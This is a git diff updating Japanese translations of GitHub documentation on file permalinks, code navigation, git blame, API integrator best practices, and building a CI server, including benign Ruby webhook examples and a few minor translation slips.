 {% endtip %}
 
-## File views show the latest version on a branch
+## ファイルのビューにはブランチの最新バージョンが表示されます
 
-When viewing a file on {% data variables.product.product_location %}, you usually see the version at the current head of a branch.  For example:
+{% data variables.product.product_location %} でファイルを表示する際、通常はブランチの現在の head でのバージョンが表示されます。  例:
 
 * [https://github.com/github/codeql/blob/**main**/README.md](https://github.com/github/codeql/blob/main/README.md)
 
-refers to GitHub's `codeql` repository, and shows the `main` branch's current version of the `README.md` file.
+GitHub の `codeql` リポジトリを参照し、`main` ブランチの現在のバージョンの `README.md` ファイルを表示します。
 
-The version of a file at the head of branch can change as new commits are made, so if you were to copy the normal URL, the file contents might not be the same when someone looks at it later.
+ブランチのヘッドにあるファイルのバージョンは、新たなコミットが行われるたびに変更される場合があるため、通常の URL をコピーすると、後で他のユーザが見るときはファイルのコンテンツが同一ではない場合があります。
 
-## Press <kbd>y</kbd> to permalink to a file in a specific commit
+## Press <kbd>Y</kbd> to permalink to a file in a specific commit
 
-For a permanent link to the specific version of a file that you see, instead of using a branch name in the URL (i.e. the `main` part in the example above), put a commit id.  This will permanently link to the exact version of the file in that commit.  For example:
+表示されるファイルの特定のバージョンへのパーマリンクについては、URL でブランチ名を使用する代わりに (つまり、上記の例の `main` 部分)、コミット ID を入力します。  これにより、そのコミットの完全に同じバージョンに永続的にリンクされます。  例:
 
 * [https://github.com/github/codeql/blob/**b212af08a6cffbb434f3c8a2795a579e092792fd**/README.md](https://github.com/github/codeql/blob/b212af08a6cffbb434f3c8a2795a579e092792fd/README.md)
 
-replaces `main` with a specific commit id and the file content will not change.
+`main` を特定のコミット ID に置き換え、ファイルの内容は変更されません。
 
-Looking up the commit SHA by hand is inconvenient, however, so as a shortcut you can type <kbd>y</kbd> to automatically update the URL to the permalink version.  Then you can copy the URL knowing that anyone you share it with will see exactly what you saw.
+コミット SHA を手作業で探すのは不便ですが、ショートカットとして <kbd>y</kbd> を押すと、URL がパーマリンクのバージョンに自動で更新されます。  その後、URL をコピーし、共有すると、自分が表示したのとまったく同じものが表示されます。
 
 {% tip %}
 
-**Tip**: You can put any identifier that can be resolved to a commit in the URL, including branch names, specific commit SHAs, or tags!
+**参考**: ブランチ名、特定のコミット SHA、タグなど、URL 内のコミットへと解決できる任意の識別子を配置できます。
 
 {% endtip %}
 
-## Creating a permanent link to a code snippet
+## コードスニペットへのパーマリンクを作成する
 
-You can create a permanent link to a specific line or range of lines of code in a specific version of a file or pull request. For more information, see "[Creating a permanent link to a code snippet](/articles/creating-a-permanent-link-to-a-code-snippet/)."
+特定バージョンのファイルやプルリクエストにある特定のコード行やコード行の範囲へのパーマリンクを作成できます。 詳細は「[コードスニペットへのパーマリンクを作成する](/articles/creating-a-permanent-link-to-a-code-snippet/)」を参照してください。
 
-## Further reading
+## 参考リンク
 
-- "[Archiving a GitHub repository](/articles/archiving-a-github-repository)"
+- 「[GitHub リポジトリをアーカイブする](/articles/archiving-a-github-repository)」
diff --git a/translations/ja-JP/content/repositories/working-with-files/using-files/navigating-code-on-github.md b/translations/ja-JP/content/repositories/working-with-files/using-files/navigating-code-on-github.md
index d0f6114565..6facd88c14 100644
--- a/translations/ja-JP/content/repositories/working-with-files/using-files/navigating-code-on-github.md
+++ b/translations/ja-JP/content/repositories/working-with-files/using-files/navigating-code-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: Navigating code on GitHub
-intro: 'You can understand the relationships within and across repositories by navigating code directly in {% data variables.product.product_name %}.'
+title: GitHub 上のコード間を移動する
+intro: '{% data variables.product.product_name %} で直接コードを移動することにより、リポジトリ内およびリポジトリ間の関係について理解できます。'
 redirect_from:
   - /articles/navigating-code-on-github
   - /github/managing-files-in-a-repository/navigating-code-on-github
@@ -11,9 +11,10 @@ versions:
 topics:
   - Repositories
 ---
+
 <!-- If you make changes to this feature, update /getting-started-with-github/github-language-support to reflect any changes to supported languages. -->
 
-## About navigating code on {% data variables.product.prodname_dotcom %}
+## {% data variables.product.prodname_dotcom %} のナビゲーションコードについて
 
 Code navigation helps you to read, navigate, and understand code by showing and linking definitions of a named entity corresponding to a reference to that entity, as well as references corresponding to an entity's definition.
 
@@ -21,17 +22,17 @@ Code navigation helps you to read, navigate, and understand code by showing and
 
 Code navigation uses the open source [`tree-sitter`](https://github.com/tree-sitter/tree-sitter) library. The following languages and navigation strategies are supported:
 
-| Language   | search-based code navigation | precise code navigation |
+|     言語     | search-based code navigation | precise code navigation |
 |:----------:|:----------------------------:|:-----------------------:|
-| C#         | ✅                           |                         |
-| CodeQL     | ✅                           |                         |
-| Go         | ✅                           |                         |
-| Java       | ✅                           |                         |
-| JavaScript | ✅                           |                         |
-| PHP        | ✅                           |                         |
-| Python     | ✅                           | ✅                      |
-| Ruby       | ✅                           |                         |
-| TypeScript | ✅                           |                         |
+|     C#     |              ✅               |                         |
+|   CodeQL   |              ✅               |                         |
+|     Go     |              ✅               |                         |
+|    Java    |              ✅               |                         |
+| JavaScript |              ✅               |                         |
+|    PHP     |              ✅               |                         |
+|   Python   |              ✅               |            ✅            |
+|    Ruby    |              ✅               |                         |
+| TypeScript |              ✅               |                         |
 
 
 You do not need to configure anything in your repository to enable code navigation. We will automatically extract search-based and precise code navigation information for these supported languages in all repositories and you can switch between the two supported code navigation approaches if your programming language is supported by both.
@@ -44,17 +45,17 @@ To learn more about these approaches, see "[Precise and search-based navigation]
 
 Future releases will add *precise code navigation* for more languages, which is a code navigation approach that can give more accurate results.
 
-## Jumping to the definition of a function or method
+## 関数やメソッドの定義にジャンプする
 
-You can jump to a function or method's definition within the same repository by clicking the function or method call in a file.
+ファイル内の関数またはメソッドの呼び出しをクリックすることで、同じリポジトリ内の関数またはメソッドの定義にジャンプできます。
 
-![Jump-to-definition tab](/assets/images/help/repository/jump-to-definition-tab.png)
+![[Jump-to-definition] タブ](/assets/images/help/repository/jump-to-definition-tab.png)
 
-## Finding all references of a function or method
+## 関数とメソッドの全リファレンスを検索する
 
-You can find all references for a function or method within the same repository by clicking the function or method call in a file, then clicking the **References** tab.
+ファイル内の関数またはメソッドの呼び出しをクリックして [**References**] タブをクリックすることで、同じリポジトリ内の関数またはメソッドの全リファレンスを検索することができます。
 
-![Find all references tab](/assets/images/help/repository/find-all-references-tab.png)
+![[Find all references] タブ](/assets/images/help/repository/find-all-references-tab.png)
 
 ## Precise and search-based navigation
 
@@ -72,5 +73,5 @@ If code navigation is enabled for you but you don't see links to the definitions
 - Code navigation only works for active branches. Push to the branch and try again.
 - Code navigation only works for repositories with fewer than 100,000 files.
 
-## Further reading
-- "[Searching code](/github/searching-for-information-on-github/searching-code)"
+## 参考リンク
+- 「[コード検索](/github/searching-for-information-on-github/searching-code)」
diff --git a/translations/ja-JP/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md b/translations/ja-JP/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md
index 2aa33de78a..efab18e083 100644
--- a/translations/ja-JP/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md
+++ b/translations/ja-JP/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md
@@ -1,6 +1,6 @@
 ---
-title: Tracking changes in a file
-intro: You can trace changes to lines in a file and discover how parts of the file evolved over time.
+title: ファイルの変更を追跡する
+intro: ファイルの行に対する変更を追跡し、時間の経過とともにファイルの各部分がどのように変化したのかを追跡できます。
 redirect_from:
   - /articles/using-git-blame-to-trace-changes-in-a-file
   - /articles/tracing-changes-in-a-file
@@ -16,23 +16,22 @@ topics:
   - Repositories
 shortTitle: Track file changes
 ---
-With the blame view, you can view the line-by-line revision history for an entire file, or view the revision history of a single line within a file by clicking {% octicon "versions" aria-label="The prior blame icon" %}. Each time you click {% octicon "versions" aria-label="The prior blame icon" %}, you'll see the previous revision information for that line, including who committed the change and when.
 
-![Git blame view](/assets/images/help/repository/git_blame.png)
+Blame ビューでは、{% octicon "versions" aria-label="The prior blame icon" %} をクリックすることで、ファイル全体の行ごとのリビジョン履歴やファイル内の 1 つの行のリビジョン履歴を表示することができます。 {% octicon "versions" aria-label="The prior blame icon" %} をクリックするたびに、変更をコミットした者と時間を含む、その行の過去のリビジョン情報が表示されます。
 
-In a file or pull request, you can also use the {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %} menu to view Git blame for a selected line or range of lines.
+![Git blame ビュー](/assets/images/help/repository/git_blame.png)
 
-![Kebab menu with option to view Git blame for a selected line](/assets/images/help/repository/view-git-blame-specific-line.png)
+ファイルやプルリクエストでは、{% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %} メニューを使って、選択した行や行の範囲の Git blame を表示することもできます。
+
+![選択した行の Git blame を表示するオプションのあるケバブメニュー](/assets/images/help/repository/view-git-blame-specific-line.png)
 
 {% tip %}
 
-**Tip:** On the command line, you can also use `git blame` to view the revision history of lines within a file. For more information, see [Git's `git blame` documentation](https://git-scm.com/docs/git-blame).
+**ヒント:** コマンドライン上で、ファイル内の行のリビジョン履歴を表示するために `git blame` を使うこともできます。 詳細は [Git の `git blame` のドキュメンテーション](https://git-scm.com/docs/git-blame)を参照してください。
 
 {% endtip %}
 
 {% data reusables.repositories.navigate-to-repo %}
-2. Click to open the file whose line history you want to view.
-3. In the upper-right corner of the file view, click **Blame** to open the blame view.
-![Blame button](/assets/images/help/repository/blame-button.png)
-4. To see earlier revisions of a specific line, or reblame, click {% octicon "versions" aria-label="The prior blame icon" %} until you've found the changes you're interested in viewing.
-![Prior blame button](/assets/images/help/repository/prior-blame-button.png)
+2. クリックして、表示したい行の履歴のファイルを開きます。
+3. ファイルビューの右上隅で [**Blame**] をクリックして blame ビューを開きます。 ![[Blame] ボタン](/assets/images/help/repository/blame-button.png)
+4. 特定の行の過去のリビジョンを表示するには、見てみたい変更が見つかるまで {% octicon "versions" aria-label="The prior blame icon" %} をクリックします。 ![さらに前の状態に遡るボタン](/assets/images/help/repository/prior-blame-button.png)
diff --git a/translations/ja-JP/content/rest/guides/best-practices-for-integrators.md b/translations/ja-JP/content/rest/guides/best-practices-for-integrators.md
index 7ad5e448ca..f4c0c7db1b 100644
--- a/translations/ja-JP/content/rest/guides/best-practices-for-integrators.md
+++ b/translations/ja-JP/content/rest/guides/best-practices-for-integrators.md
@@ -1,5 +1,5 @@
 ---
-title: Best practices for integrators
+title: インテグレーターのためのベストプラクティス
 intro: 'Build an app that reliably interacts with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API and provides the best experience for your users.'
 redirect_from:
   - /guides/best-practices-for-integrators
@@ -11,84 +11,63 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: Integrator best practices
+shortTitle: インテグレーターのベストプラクティス
 ---
 
 
-Interested in integrating with the GitHub platform? [You're in good company](https://github.com/integrations). This guide will help you build an app that provides the best experience for your users *and* ensure that it's reliably interacting with the API. 
+GitHubプラットフォームとの統合に興味はありますか。 [同じことを思っている仲間がいますよ](https://github.com/integrations)。 このガイドは、ユーザに最高のエクスペリエンスを提供し、かつAPIと確実にやり取りするアプリを構築するために役立ちます。
 
-## Secure payloads delivered from GitHub
+## GitHubから配信されるペイロードの機密を確保する
 
-It's very important that you secure [the payloads sent from GitHub][event-types]. Although no personal information (like passwords) is ever transmitted in a payload, leaking *any* information is not good. Some information that might be sensitive include committer email address or the names of private repositories.
+[GitHubから送信されたペイロード][event-types]の機密を確保することは非常に重要です。 ペイロードでパスワードなどの個人情報が送信されることはないものの、いかなる情報であれ漏洩することは好ましくありません。 コミッターのメールアドレスやプライベートリポジトリの名前などは、機密性が求められる場合があります。
 
-There are several steps you can take to secure receipt of payloads delivered by GitHub:
+いくつかのステップを踏むことで、GitHubから配信されるペイロードを安全に受信できます。
 
-1. Ensure that your receiving server is on an HTTPS connection. By default, GitHub will verify SSL certificates when delivering payloads.{% ifversion fpt or ghec %}
-1. You can add [the IP address we use when delivering hooks](/github/authenticating-to-github/about-githubs-ip-addresses) to your server's allow list. To ensure that you're always checking the right IP address, you can [use the `/meta` endpoint](/rest/reference/meta#meta) to find the address we use.{% endif %}
-1. Provide [a secret token](/webhooks/securing/) to ensure payloads are definitely coming from GitHub. By enforcing a secret token, you're ensuring that any data received by your server is absolutely coming from GitHub. Ideally, you should provide a different secret token *per user* of your service. That way, if one token is compromised, no other user would be affected.
+1. 受信サーバーは必ずHTTPS接続にしてください。 デフォルトでは、GitHubはペイロードを配信する際にSSL証明書を検証します。{% ifversion fpt or ghec %}
+1. [フック配信時に使用するIPアドレス](/github/authenticating-to-github/about-githubs-ip-addresses)をサーバーの許可リストに追加できます。 正しいIPアドレスを常に確認していることを確かめるため、[`/meta`エンドポイントを使用して](/rest/reference/meta#meta)GitHubが使用するアドレスを見つけることができます。{% endif %}
+1. ペイロードがGitHubから配信されていることを確実に保証するため、[シークレットトークン](/webhooks/securing/)を提供します。 シークレットトークンを強制することにより、サーバーが受信するあらゆるデータが確実にGitHubから来ていることを保証できます。 サービスの*ユーザごと*に異なるシークレットトークンを提供するのが理想的です。 そうすれば、1つのトークンが侵害されても、他のユーザは影響を受けません。
 
-## Favor asynchronous work over synchronous
+## 同期作業より非同期作業を優先する
 
-GitHub expects that integrations respond within {% ifversion fpt or ghec %}10{% else %}30{% endif %} seconds of receiving the webhook payload. If your service takes longer than that to complete, then GitHub terminates the connection and the payload is lost.
+GitHubは、webhookペイロードを受信後{% ifversion fpt or ghec %}10{% else %}30{% endif %}秒以内にインテグレーションが応答することを求めています。 サービスの応答時間がそれ以上になると、GitHubは接続を中止し、ペイロードは失われます。
 
-Since it's impossible to predict how fast your service will complete, you should do all of "the real work" in a background job. [Resque](https://github.com/resque/resque/) (for Ruby), [RQ](http://python-rq.org/) (for Python), or [RabbitMQ](http://www.rabbitmq.com/) (for Java) are examples of libraries that can handle queuing and processing of background jobs.
+サービスの完了時間を予測することは不可能なので、「実際の作業」のすべてはバックグラウンドジョブで実行すべきです。 バックグラウンドジョブのキューや処理を扱えるライブラリには、[Resque](https://github.com/resque/resque/) (Ruby用)、[RQ](http://python-rq.org/) (Python用)、[RabbitMQ](http://www.rabbitmq.com/)などがあります。
 
-Note that even with a background job running, GitHub still expects your server to respond within {% ifversion fpt or ghec %}ten{% else %}thirty{% endif %} seconds. Your server needs to acknowledge that it received the payload by sending some sort of response. It's critical that your service performs any validations on a payload as soon as possible, so that you can accurately report whether your server will continue with the request or not.
+バックグラウンドジョブが実行中でも、GitHubはサーバが{% ifversion fpt or ghec %}10{% else %}30{% endif %}秒以内で応答することを求めていることに注意してください。 サーバは何らかの応答を送信することにより、ペイロードの受信を確認する必要があります。 サービスがペイロードについての確認を可能な限り速やかに行うことは非常に重要です。そうすることにより、サーバがリクエストを継続するかどうか正確に報告できます。
 
-## Use appropriate HTTP status codes when responding to GitHub
+## GitHubへの応答時に適切なHTTPステータスコードを使用する
 
-Every webhook has its own "Recent Deliveries" section, which lists whether a deployment was successful or not.
+各webhookには、デプロイメントが成功したかどうかを列挙する独自の「最近のデリバリ」セクションがあります。
 
-![Recent Deliveries view](/assets/images/webhooks_recent_deliveries.png)
+![[Recent Deliveries] ビュー](/assets/images/webhooks_recent_deliveries.png)
 
-You should make use of proper HTTP status codes in order to inform users. You can use codes like `201` or `202` to acknowledge receipt of payload that won't be processed (for example, a payload delivered by a branch that's not the default). Reserve the `500` error code for catastrophic failures.
+ユーザへの通知には、適切なHTTPステータスコードを使用するべきです。 (デフォルトでないブランチから配信されたペイロードなど) 処理できないペイロードの受信を知らせるため、`201`や`202`といったコードを使用できます。 `500`のエラーコードは、致命的な障害に用いましょう。
 
-## Provide as much information as possible to the user
+## ユーザにできるだけ多くの情報を提供する
 
-Users can dig into the server responses you send back to GitHub. Ensure that your messages are clear and informative.
+ユーザはGitHubに返信したサーバーの応答を調べることができます。 メッセージは明確で参考になるものとしてください。
 
-![Viewing a payload response](/assets/images/payload_response_tab.png)
+![ペイロードレスポンスの表示](/assets/images/payload_response_tab.png)
 
-## Follow any redirects that the API sends you
+## APIが送信するあらゆるAPIに従う
 
-GitHub is explicit in telling you when a resource has moved by providing a redirect status code. You should follow these redirections. Every redirect response sets the `Location` header with the new URI to go to. If you receive a redirect, it's best to update your code to follow the new URI, in case you're requesting a deprecated path that we might remove.
+GitHubは、リダイレクトのステータスコードを提供することにより、リソースがいつ移動したかを明示します。 このリダイレクトに従ってください。 すべてのリダイレクト応答は、`Location`ヘッダに、移動する新しいURIを設定します。 リダイレクトを受け取ったら、削除する可能性がある非推奨のパスをリクエストしている場合、新しいURIにしたがってコードを更新するようお勧めします。
 
-We've provided [a list of HTTP status codes](/rest#http-redirects) to watch out for when designing your app to follow redirects.
+アプリケーションをリダイレクトに従うよう設計する際に気をつけるべき[HTTPステータスコードのリスト](/rest#http-redirects)をご用意しています。
 
-## Don't manually parse URLs
+## 手動でURLをパースしない
 
-Often, API responses contain data in the form of URLs. For example, when requesting a repository, we'll send a key called `clone_url` with a URL you can use to clone the repository.
+APIレスポンスには、URLの形でデータが含まれていることがよくあります。 たとえば、リポジトリをリクエストするときは、リポジトリをクローンするために使用できるURLの付いた`clone_url`というキーを送信します。
 
-For the stability of your app, you shouldn't try to parse this data or try to guess and construct the format of future URLs. Your app is liable to break if we decide to change the URL.
+アプリケーションの安定性を保つため、このデータをパースしようとしたり、先のURLの形式を予想して作成しようとしたりしないでください。 URLを変更した場合、アプリケーションが壊れるおそれがあります。
 
-For example, when working with paginated results, it's often tempting to construct URLs that append `?page=<number>` to the end. Avoid that temptation. [Our guide on pagination](/guides/traversing-with-pagination) offers some safe tips on dependably following paginated results.
+たとえば、ページネーションされた結果を扱う際は、末尾に`?page=<number>`を付けてURLを構築したいと思うことがあります。 この誘惑に負けてはなりません。 [ページネーションに関するガイド](/guides/traversing-with-pagination)には、ページネーションされた結果を安全に扱うための信頼できるヒントがいくつか掲載されています。
 
-## Check the event type and action before processing the event
+## イベントの処理前にイベントのタイプとアクションを確認する
 
-There are multiple [webhook event types][event-types], and each event can have multiple actions. As GitHub's feature set grows, we will occasionally add new event types or add new actions to existing event types. Ensure that your application explicitly checks the type and action of an event before doing any webhook processing. The `X-GitHub-Event` request header can be used to know which event has been received so that processing can be handled appropriately. Similarly, the payload has a top-level `action` key that can be used to know which action was taken on the relevant object.
+[webhookのイベントタイプ][event-types]は複数あり、各イベントは複数のアクションを持つことができます。 GitHubの機能セットが増えるにつれて、新しいイベントタイプを追加したり、既存のイベントタイプに新しいアクションを追加したりすることがあります。 Webhookの処理を行う前に、イベントのタイプとアクションをアプリケーションが明示的に確認するようにしてください。 `X-GitHub-Event`リクエストヘッダは、受信したイベントの種類を知り、それを適切に処理するために利用できます。 同様に、ペイロードにはトップレベルの`action`キーがあり、関連オブジェクトに対して実行されたアクションを知るために利用できます。
 
-For example, if you have configured a GitHub webhook to "Send me **everything**", your application will begin receiving new event types and actions as they are added. It is therefore **not recommended to use any sort of catch-all else clause**. Take the following code example:
-
-```ruby
-# Not recommended: a catch-all else clause
-def receive
-  event_type = request.headers["X-GitHub-Event"]
-  payload    = request.body
-
-  case event_type
-  when "repository"
-    process_repository(payload)
-  when "issues"
-    process_issues(payload)
-  else
-    process_pull_requests
-  end
-end
-```
-
-In this code example, the `process_repository` and `process_issues` methods will be correctly called if a `repository` or `issues` event was received. However, any other event type would result in `process_pull_requests` being called. As new event types are added, this would result in incorrect behavior and new event types would be processed in the same way that a `pull_request` event would be processed.
-
-Instead, we suggest explicitly checking event types and acting accordingly. In the following code example, we explicitly check for a `pull_request` event and the `else` clause simply logs that we've received a new event type:
+たとえば、GitHubのwebhookを [Send me **everything**] に設定している場合、新しいイベントのタイプやアクションが追加されると、アプリケーションはそれらの受信を開始します。 ですから、**あらゆる類のcatch-all else構文は使用をお勧めしません**。 たとえば、次のコード例をご覧ください。
 
 ```ruby
 # Recommended: explicitly check each event type
@@ -109,9 +88,32 @@ def receive
 end
 ```
 
-Because each event can also have multiple actions, it's recommended that actions are checked similarly. For example, the [`IssuesEvent`](/webhooks/event-payloads/#issues) has several possible actions. These include `opened` when the issue is created, `closed` when the issue is closed, and `assigned` when the issue is assigned to someone.
+このコード例では、`repository`または`issues`イベントを受信すると、`process_repository`および`process_issues`メソッドが正しく呼び出されます。 しかし、他のイベントタイプでは、`process_pull_requests`が呼び出されることになります。 新しいイベントタイプが追加されると、誤った動作を引き起こすことになり、新たなイベントタイプは`pull_request`イベントと同じ方法で処理されることになるでしょう。
 
-As with adding event types, we may add new actions to existing events. It is therefore again **not recommended to use any sort of catch-all else clause** when checking an event's action. Instead, we suggest explicitly checking event actions as we did with the event type. An example of this looks very similar to what we suggested for event types above:
+代わりに、イベントのタイプを明示的に確認し、それに応じて処理するようお勧めします。 次のコード例では、`pull_request`イベントを明示的に確認し、`else`節は新しいイベントタイプを受信したことを単に記録しています。
+
+```ruby
+# Recommended: explicitly check each event type
+def receive
+  event_type = request.headers["X-GitHub-Event"]
+  payload    = JSON.parse(request.body)
+
+  case event_type
+  when "repository"
+    process_repository(payload)
+  when "issues"
+    process_issue(payload)
+  when "pull_request"
+    process_pull_requests(payload)
+  else
+    puts "Oooh, something new from GitHub: #{event_type}"
+  end
+end
+```
+
+各イベントも複数のアクションを持つことができるため、アクションも同様に確認することをお勧めします。 たとえば、[`IssuesEvent`](/webhooks/event-payloads/#issues)ではいくつかのアクションが可能です。 例としては、Issueが作成されたときの`opened`、Issueがクローズしたときの`closed`、Issueが誰かに割り当てられたときの`assigned`が挙げられます。
+
+イベントタイプを追加するのと同じように、既存のイベントに新しいアクションを追加できます。 ですから、イベントのアクションを確認する場合も**>あらゆる類のcatch-all else構文は使用をお勧めしません**。 代わりに、イベントタイプの例と同様、イベントのアクションも明示的に確認するようお勧めします。 この例は、上記のイベントタイプで示したものと非常に似通ったものです。
 
 ```ruby
 # Recommended: explicitly check each action
@@ -129,47 +131,40 @@ def process_issue(payload)
 end
 ```
 
-In this example the `closed` action is checked first before calling the `process_closed` method. Any unidentified actions are logged for future reference.
+この例では、始めに`closed`アクションを確認してから、`process_closed`メソッドを呼びます。 未確認のアクションは、今後の参考のために記録されます。
 
 {% ifversion fpt or ghec %}
 
-## Dealing with rate limits
+## レート制限の扱い
 
-The GitHub API [rate limit](/rest/overview/resources-in-the-rest-api#rate-limiting) ensures that the API is fast and available for everyone.
+GitHub APIの[レート制限](/rest/overview/resources-in-the-rest-api#rate-limiting)は、APIを高速に保ち、すべての人が利用できるために設けられています。
 
-If you hit a rate limit, it's expected that you back off from making requests and try again later when you're permitted to do so. Failure to do so may result in the banning of your app.
+レート制限に達した場合、リクエストを中止し、許可された後で再度お試しください。 リクエストを中止しない場合は、アプリケーションを禁止する場合があります。
 
-You can always [check your rate limit status](/rest/reference/rate-limit) at any time. Checking your rate limit incurs no cost against your rate limit.
+[レート制限ステータスの確認](/rest/reference/rate-limit)はいつでも可能です。 レート制限を確認しても、その通信量はレート制限に影響しません。
 
 ## Dealing with secondary rate limits
 
-[Secondary rate limits](/rest/overview/resources-in-the-rest-api#secondary-rate-limits) are another way we ensure the API's availability.
-To avoid hitting this limit, you should ensure your application follows the guidelines below.
+[Secondary rate limits](/rest/overview/resources-in-the-rest-api#secondary-rate-limits) are another way we ensure the API's availability. この制限に到達することを避けるため、アプリケーションは以下のガイドラインに従うようにしてください。
 
-* Make authenticated requests, or use your application's client ID and secret. Unauthenticated
-  requests are subject to more aggressive secondary rate limiting.
-* Make requests for a single user or client ID serially. Do not make requests for a single user
-  or client ID concurrently.
-* If you're making a large number of `POST`, `PATCH`, `PUT`, or `DELETE` requests for a single user
-  or client ID, wait at least one second between each request.
-* When you have been limited, use the `Retry-After` response header to slow down. The value of the
-  `Retry-After` header will always be an integer, representing the number of seconds you should wait
-  before making requests again. For example, `Retry-After: 30` means you should wait 30 seconds
-  before sending more requests.
-* Requests that create content which triggers notifications, such as issues, comments and pull requests,
-  may be further limited and will not include a `Retry-After` header in the response. Please create this
-  content at a reasonable pace to avoid further limiting.
+* 認証済みのリクエストを行うか、アプリケーションのクライアントIDとシークレットを使用してください。 Unauthenticated requests are subject to more aggressive secondary rate limiting.
+* 単一のユーザまたはクライアントIDに順番にリクエストを行ってください。 単一のユーザまたはクライアントIDのリクエストは同時に行わないでください。
+* 単一のユーザまたはクライアントIDで多数の`POST`、`PATCH`、`PUT`、`DELETE`リクエストを行う場合には、リクエストごとに少なくとも1秒の間隔をとってください。
+* 制限がかかっている間は、速さを遅くするため`Retry-After`レスポンスヘッダを使用します。 `Retry-After`ヘッダの値は常に整数とします。この値は、再度リクエストを行う前に待機すべき秒数を示します。 たとえば、`Retry-After: 30`は、次のリクエストを送信するまで30秒待機する必要があることを意味します。
+* コメント、プルリクエストなど、通知をトリガーするようなコンテンツを作成するリクエストは、さらなる制限が課される場合があり、レスポンスに`Retry-After`ヘッダが含まれません。 さらなる制限を避けるため、こうしたコンテンツを合理的なペースで作成してください。
 
-We reserve the right to change these guidelines as needed to ensure availability.
+当社は、可用性確保のため必要に応じてこれらのガイドラインを変更する権利を留保します。
 
 {% endif %}
 
-## Dealing with API errors
+## APIエラーの扱い
 
-Although your code would never introduce a bug, you may find that you've encountered successive errors when trying to access the API.
+あなたのコードが決してバグを発生させなかったとしても、APIにアクセスしようとするとき立て続けにエラーが発生することがるかもしれません。
 
-Rather than ignore repeated `4xx` and `5xx` status codes, you should ensure that you're correctly interacting with the API. For example, if an endpoint requests a string and you're passing it a numeric value, you're going to receive a `5xx` validation error, and your call won't succeed. Similarly, attempting to access an unauthorized or nonexistent endpoint will result in a `4xx` error.
+繰り返し表示される`4xx`や `5xx`のステータスコードを無視せずに、APIと正しくやり取りしていることを確認してください。 たとえば、エンドポイントが文字列を要求しているのに数値を渡している場合、`5xx`検証エラーが発生し、呼び出しは成功しません。 同様に、許可されていないエンドポイントまたはは存在しないエンドポイントにアクセスしようとすると、`4xx`エラーが発生します。
 
-Intentionally ignoring repeated validation errors may result in the suspension of your app for abuse.
+繰り返し発生する検証エラーを意図的に無視すると、不正利用によりアプリケーションが停止されることがあります。
+
+[event-types]: /webhooks/event-payloads
 
 [event-types]: /webhooks/event-payloads
diff --git a/translations/ja-JP/content/rest/guides/building-a-ci-server.md b/translations/ja-JP/content/rest/guides/building-a-ci-server.md
index dbcec20196..52e65e9a5e 100644
--- a/translations/ja-JP/content/rest/guides/building-a-ci-server.md
+++ b/translations/ja-JP/content/rest/guides/building-a-ci-server.md
@@ -1,6 +1,6 @@
 ---
-title: Building a CI server
-intro: Build your own CI system using the Status API.
+title: CIサーバーの構築
+intro: Status APIで独自のCIシステムを構築しましょう。
 redirect_from:
   - /guides/building-a-ci-server
   - /v3/guides/building-a-ci-server
@@ -15,31 +15,22 @@ topics:
 
 
 
-The [Status API][status API] is responsible for tying together commits with
-a testing service, so that every push you make can be tested and represented
-in a {% data variables.product.product_name %} pull request.
+[Status API][status API]は、コミットをテストのサービスと結びつけて、各プッシュがテストされ、{% data variables.product.product_name %}のプルリクエストとするようにする役割を果たします。
 
-This guide will use that API to demonstrate a setup that you can use.
-In our scenario, we will:
+このAPIでは、ステータスAPIを使って、利用できる設定を示します。 このシナリオでは、以下を行います。
 
-* Run our CI suite when a Pull Request is opened (we'll set the CI status to pending).
-* When the CI is finished, we'll set the Pull Request's status accordingly.
+* プルリクエストが開かれたときにCIスイートを実行します (CIステータスを保留中に設定します)。
+* CIが終了したら、それに応じてプルリクエストのステータスを設定します。
 
-Our CI system and host server will be figments of our imagination. They could be
-Travis, Jenkins, or something else entirely. The crux of this guide will be setting up
-and configuring the server managing the communication.
+このCIシステムとホストサーバーは、想像上のものです。 Travisでも、Jenkinsでも、何でも構いません。 このガイドのポイントは、通信を管理するサーバーを設定し、構成することにあります。
 
-If you haven't already, be sure to [download ngrok][ngrok], and learn how
-to [use it][using ngrok]. We find it to be a very useful tool for exposing local
-connections.
+まだngrokをダウンロードしていない場合は[ダウンロード][ngrok]し、その[使いかた][using ngrok]を学びましょう。 これはローカル接続を公開するために非常に役立つツールだと思います。
 
-Note: you can download the complete source code for this project
-[from the platform-samples repo][platform samples].
+注釈: このプロジェクトの完全なソースコードは、[platform-samplesリポジトリ][platform samples]からダウンロードできます。
 
-## Writing your server
+## サーバーを書く
 
-We'll write a quick Sinatra app to prove that our local connections are working.
-Let's start with this:
+ローカル接続が機能していることを証明するための、簡単なSinatraアプリケーションを書きます。 まずは以下のソースから始めましょう。
 
 ``` ruby
 require 'sinatra'
@@ -51,29 +42,20 @@ post '/event_handler' do
 end
 ```
 
-(If you're unfamiliar with how Sinatra works, we recommend [reading the Sinatra guide][Sinatra].)
+(シナトラの仕組みに詳しくない方は、[Sinatraのガイド][Sinatra]を読むことをお勧めします。)
 
-Start this server up. By default, Sinatra starts on port `4567`, so you'll want
-to configure ngrok to start listening for that, too.
+このサーバーを起動してください。 デフォルトでは、Sinatraはポート`4567`で起動するため、このポートもリッスンを開始するようngrokを設定するとよいでしょう。
 
-In order for this server to work, we'll need to set a repository up with a webhook.
-The webhook should be configured to fire whenever a Pull Request is created, or merged.
-Go ahead and create a repository you're comfortable playing around in. Might we
-suggest [@octocat's Spoon/Knife repository](https://github.com/octocat/Spoon-Knife)?
-After that, you'll create a new webhook in your repository, feeding it the URL
-that ngrok gave you, and choosing `application/x-www-form-urlencoded` as the
-content type:
+このサーバーが機能するには、webhookでリポジトリを設定する必要があります。 プルリクエストが作成やマージされるたびに、webhookが起動するよう設定すべきです。 なんでも好きにして構わないようなリポジトリを作成しましょう。 [@octocat's Spoon/Knifeリポジトリ](https://github.com/octocat/Spoon-Knife)などはどうでしょうか。 その後、リポジトリ内に新しいwebhookを作成し、ngrokが提供したURLを指定し、コンテンツタイプとして`application/x-www-form-urlencoded`を選択します。
 
